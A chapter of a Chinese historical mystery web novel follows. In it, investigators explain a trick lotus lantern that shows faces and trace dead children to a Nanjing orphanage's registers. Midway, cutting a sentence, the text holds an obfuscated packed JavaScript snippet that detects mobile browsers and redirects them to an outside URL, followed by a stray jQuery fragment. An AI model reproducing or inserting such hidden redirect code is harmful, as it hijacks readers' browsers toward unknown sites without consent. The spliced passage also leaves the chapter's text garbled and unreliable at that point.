40. 人面河灯8
作品:《金陵无鬼事》 江不系兴冲冲地提着盏自制的荷花灯出门,撞上了一起回来的蓝田天和卫泉。
他伸手探了探卫泉的额头:“卫泉,你感觉如何?”
卫泉还有些虚弱:“好多了,多亏蓝田姑娘照顾的好。”
蓝田没听见主仆俩说了些什么,一手捂着嘴,一手指着江不系手里捧着的水罐,水罐里飘着一盏荷花灯,惊恐地后退:“小,小侯爷……你……你……”
江不系这才想起自己出来想做什么:“你们回来的正好,蓝田,开门,我要给你家小姐揭开荷花灯的秘密。”
江不系拎着的荷花灯上浮着一张人脸,不是旁人,正是崔拂雪,所以蓝田才吓得话都说不全。
崔拂许盯着看了许久:“这是怎么做出来的?”
“多亏了那碗牛乳。”
说到牛乳,江不系又是脸一红,好在天黑,屋里只有烛火的映照,看不出来,否则他风流倜傥小侯爷的名声就要毁了。
江不系将自己从不小心打翻牛乳开始说了一遍,为了制成荷花灯,中途还特意去集市买了一堆贝壳回来。
崔拂雪:“可中元节时,那灯还伤了人……”
“那是凶手还在一些花瓣的夹层里掺了白磷与硝石。”
“白磷?”
“只要温度够,遇阳气白磷便会自己燃烧,南京虽说潮湿,但那日荷花灯本就点燃,花瓣周围温度足够高,那人撕开花瓣,白磷在高温中遇阳气开始燃烧,硝石遇火炸开这才受了伤。”
“怎么那么巧,炸出个人面形的伤?”
“我猜想大概四硝石爆燃时将锡纸炸在了那人脸上,锡纸被烧,在那人脸留下了伤。”
蓝田虽听得一知半解,却佩服地道了声:“小侯爷真厉害。”
“那是,”卫泉得意道,“也不看是谁的主子。”
被蓝田白了一眼。
卫泉毫不在意,乐滋滋地看着荷花灯上浮现出的崔拂雪的面容,心道,如此之像,主子果真用情至深。
蓝田虽不明白原理,好歹不再害怕。
崔拂雪缓缓道:“如此,倒是能将那些孩子的面容都还原了。”
全城搜捕了两日姚元英,一无所获。
王知权骂骂咧咧地进了府衙,本打算找江不系诉苦,哪知一进门看见一地的荷花灯,吓得他连退几步,险些被自己绊倒。
直到听江不系说了原委,才拍着心口:“小侯爷,你吓死本府了,我还以为又出事了。”
为了加快速度,江不系、卫泉加上贺文章,三人不眠不休也才将将恢复了一半。
江不系懊恼:“早知道不全拆开,换根灯芯就成了。”
王知权:“小侯爷,要不先把这些点了看看?”
江不系略一想:“关门关窗,暗的地方能看的清楚些。”
卫泉和贺文章都是头一回见,惊得合不拢嘴。
“这才一半,”王知权道,“那晚,又是中元节,在秦淮河上看到时可吓着本府了,真以为闹鬼了。”
贺文章看着看着蹙起眉。
江不系问他:“老贺,你看出什么了?”
“属下好像,见过其中一些孩子……”
王知权精神一震:“在何处见过?”
贺文章眉头越拧越紧:“一时想不起来,府台大人还没查到卷宗?”
自打王知权认定了姚元英是凶手,已然将查卷宗的事丢在了一旁,他理直气壮:“等着抓姚元英就成,还查那劳什子卷宗作甚。”
崔拂雪喃喃:“这么多孩子,没有报官的卷宗记录,贺大人却见过……多半不是养在父母身边,贺大人,南京城里有何地方会聚集如此多的孩子?”
“养济院!”
“养济院!”
王知权和贺文章同时喊出声。
“养济院是什么地方?”
王知权解释道:“太祖曾下诏,‘鳏寡孤独废疾不能自养者,官为存恤’,又于洪元五年再下诏,‘天下郡县立孤老院’,不久后又将孤老院改名为养济院,并规定收养者为‘民之孤独残病不能生者’……”
贺文章接道:“南京的养济院收养了大批天残婴。”
“天残婴?”
“是一些天生有残病的孩子。”
江不系点头:“京师也有,这本是好事。”
贺文章“嗯”了声:“确实是好事,实际上南京的养济院里不仅有天残婴,也有出生便被遗弃的孩子,这些孩子并无残疾,后来文帝下诏,‘鳏寡孤独贫不能自存者,岁给米三石,令亲戚收养,笃废残疾者收养济院,例支衣粮’,按理说这些孩子该寻到亲戚收养,但实际大多孩子根本找不到亲戚,有的即便找到了,亲戚也不认。”
他又看向荷花灯上映出的面容:“现在想来,我兴许正是在养济院里见过这些孩子。”
江不系站起来:“养济院在何处?”
王知权又将他按坐下:“今上登基后,各地养济院逐年减少,常常好几个州府的养济院合并为一间,眼下金陵已无养济院。”
江不系冷道:“养济院可以撤,但当年的账本名册总该还在吧。”
“嘶,”王知权突然想起什么,“该是在礼部,养济院是挂在礼部名下……”
礼部,又是礼部。
南京礼部原本人就不多,司正秀和黄志旭被害,姚元英下落不明,如今只剩下两名主事和两名司务。
连着出事,礼部的人实在不想见到江不系和王知权。
王知权品级虽高,却毫无架子,与几人见了礼说明来意。
几人再不情愿也要卖王知权一个面子。
卷宗房角落里的一个架子上放的都是养济院的名册和账簿。
崔拂雪指指落满灰的名册上清晰可见的手印,江不系一点头,有人来过。
随意翻开一本名册,每页记录的人名下还有出生年月、籍贯等一系列内容,还画有画像。
自打太祖皇帝建立黄册制度,每年逐渐完善,为防止有人冒名顶替,除却每个人姓甚名谁,出生年月、出生在何地,住所,家眷之外,甚至还加了画像。
名册上好些名字被划去。
“这是何意?”贺文章指着被划掉的名字问。
领几人过来的主事伸头看了一眼:“哦,人没了便会划去名字。”
“怎么没的?”
“这不好说,养济院里都是些老弱病残,隔几天就会走一个,有时候一天能走好几个,以老人孩子居多,再平常不过,至于具体的,那得问咱们司侍郎,十多年前他也是礼部主事,兼任养济院监察。”
大致数了数,司正秀监察养济院的三年间,死亡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587999|168458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的孩子共计一百一十四名,算下来每年不到四十名孩子,与那位主事说的人数相较,确实不算多,至于这些孩子是天残婴还是正常孩子,已经不得而知。
而司正秀在官场的飞升,正是在离开养济院之后。
崔拂雪觉得有一条看不见的线,渐渐将事情串起来了。
南京的养济院被关停,剩余的人都被转到了扬州府。
将名册和账簿带回府衙,江不系决定连夜前往扬州府。
他刚说完,外面一人风尘仆仆地进来,在他耳边低语了几句。
江不系轻轻“嗯”了声:“辛苦,你回去休息吧。”
见几双眼睛都看向自己,江不系面无表情道:“睿王爷身体康健,睿王府从未派人请过宁荀去苏州府。”
此言一出,王知权“啊?”地张大了嘴:“这……这……这到底是怎么回事?”
“府台大人,”江不系眉梢微沉,“撤了姚元英的海捕文书吧,凶手不是他。”
“那……那他如今在何处?”王知权六神无主。
江不系起身:“事不宜迟,府台大人,劳烦叫个人替我备马,我即刻出发。”
王知权脑子已经转不动,边应着“好”边往外走。
贺文章上前一步:“小侯爷,要不,还是我去?”
“不,这趟我亲自跑,南京的事交给你与拂雪,你们二人商量着办,最多两日我便回来。”
崔拂雪叫住江不系:“小侯爷,路上小心。”
江不系略显凝重的神色裂开,眼角笑意若隐若现:“还是拂雪关心我。”
外面传来王知权的声音,江不系迈步往外走:“我去去便回。”
崔拂雪心里有种说不上来的感觉,当江不系说宁荀根本不是被睿王府叫去苏州府时,她便觉得这事,没完。
宁荀与司正秀交好,两人的晋升之路同样飞快,要说这二人之间没有猫腻,她说什么也不信。
两人枯坐了一番,各自离开。
崔拂雪回到秦淮炊烟,阿芦正等着她。
见她一脸疲惫,阿芦有些心疼:“崔姐姐,要我说,你开着秦淮炊烟就挺好的,何必那样劳累?”
崔拂许愣了一下,她也没想过,不知道从什么时候开始,糊里糊涂地从被江不系拉着查案变成了现在主动帮他查案。
蓝田倒了水进内堂:“小姐那是除暴安良,阿芦,你都不知道当时在大报恩寺里小姐质问慧岸时,别提有多威风了,可惜我没亲眼见到,若不是我脑子不够用,我都想一起查,虽说那位小侯爷平时看着不靠谱吧,办起案子来还挺像模像样的。”
崔拂雪干笑两声。
阿芦“哼”了声:“我就知道,所以,我帮忙来了不是。”
崔拂雪惊讶地看向阿芦:“你知道什么?”
阿芦神秘道:“我可是秦淮河百晓生,养济院知道吧?司正秀当年监察养济院,后来咱们金陵的养济院搬去了扬州府,可其实不是所有孩子都跟过去了,有好些离开了,有一个就在秦淮河上做船夫,听说司正秀死了,拍手称快。”
“为何?”
阿芦一提嘴角:“司正秀这厮,可没少对养济院里的孩子们做坏事,好好的孩子,前一天还活蹦乱跳的,第二日说没就没了,活不见人死不见尸,你们说,他能干什么好事?”